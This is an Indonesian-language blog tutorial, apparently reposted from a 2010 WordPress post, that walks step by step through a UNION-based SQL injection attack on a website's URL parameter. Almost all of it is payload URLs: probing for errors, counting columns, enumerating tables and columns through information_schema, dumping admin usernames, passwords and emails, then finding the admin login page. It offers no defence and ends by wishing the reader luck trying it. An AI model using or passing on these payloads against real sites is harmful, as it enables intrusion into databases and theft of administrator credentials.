Definisi SQL Injection

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

===========
= Step Satu:  =
===========
carilah target
misalkan: http//www.snipp55.com/berita.php?id=100
Tambahkan karakter ( ‘ ) pada akhir url atau menambahkan karakter ( – ) untuk melihat apakah ada pesan error.
contoh:
http//www.snipp55.com/berita.php?id=100′ atau
http//www.snipp55.com/berita.php?id=-100
sehingga muncul pesan error seperti berikut :
” Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /var/www/html/classes/storedProcedures/GetArticleData.class.php on line 92 “
(dan masih banyak lagi pesan error yg lainnya)

==========
= Step Dua: =
==========
mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah : order by
contoh:
http//www.snipp55.com/berita.php?id=-100+order+by+1–  atau
http//www.snipp55.com/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)…
misal:
http//www.snipp55.com/berita.php?id=-100+order+by+1–
http//www.snipp55.com/berita.php?id=-100+order+by+2–
http//www.snipp55.com/berita.php?id=-100+order+by+3–
http//www.snipp55.com/berita.php?id=-100+order+by+4– dst
sehingga muncul pesan error…
misal pesan errornya muncul di table 9 :
http//www.snipp55.com/berita.php?id=-100+order+by+9–
berarti table yang terdapat dalam database adalah 8
menjadi http//www.snipp55.com/berita.php?id=-100+order+by+8–

===========
= Step Tiga:   =
===========
mencari nomor keberuntungan dengan menggunakan perintah union select
karena tadi tablenya hanya ada 8
maka: http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–
ok seumpama yg keluar adalah angka 5
maka gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai, masukan perintah tsb pada angka yg keluar tadi
misal: http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–
lalu lihat versi database yg digunakan seumpama versi 4 maka tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema
jika versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema

============
= Step Empat:=
============
menampilkan table yg ada pada web tsb dengan
perintah group_concat(table_name)         >>> dimasukan pada angka keberuntungan yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()–        >>> dimasukan setelah angka terakhir
Contoh :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()–
ibaratkan yang muncul adalah table  “admin”

===========
= Step Lima:=
===========
menampilkan kolom yang terdapat di table “admin”
perintah group_concat(column_name)         >>> dimasukan pada angka keberuntungan yg keluar tadi
perintah +from+information_schema.columns+where+table_name=Oxhexa–       >>> dimasukan setelah angka terakhir
Contoh :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=Oxhexa–
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://home2.paulschou.net/tools/xlate/
contoh kata yg ingin di konversi yaitu “admin” (tanpa tanda kutip) maka akan menjadi 61646d696e
maka : http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=Ox61646D696E–
ibaratkan yang muncul adalah column username,password,email

============
= Step Enam : =
============
memunculkan apa yg tadi telah dikeluarkan dari column yaitu dengan cara
perintah concat_ws(Ox3a,hasil isi column yg akan dikeluarkan)         >>> dimasukan pada angka keberuntungan yg keluar tadi
perintah +from+(nama table berasal)          >>> dimasukan setelah angka terakhir
Contoh :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(Ox3a,column yang akan dilihat isinya),6,7,8+from+(nama table)–
contoh column yang keluar td adalah column username,password,email
Maka :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(Ox3a,username,Ox3a,password,Ox3a,email),6,7,8+from+admin–
contoh yang keluar :
admin:an4kal4y:alay_alay@alay.com
cara membaca nya seperti berikut :
username : admin
password : an4kal4y
email : alay_alay@alay.com

==============
= Step Tujuh    :   =
==============
tahap terakhir yang harus dilakukan adalah mencari halaman admin atau login (adminlogin).
website yang menyediakan program pencarian login admin :
http://revtan.site40.net/admin/?
Selamat Mencoba

Sumber : http://snipp55.wordpress.com/2010/12/01/pengertian-sql-injection-dan-langkah2nya/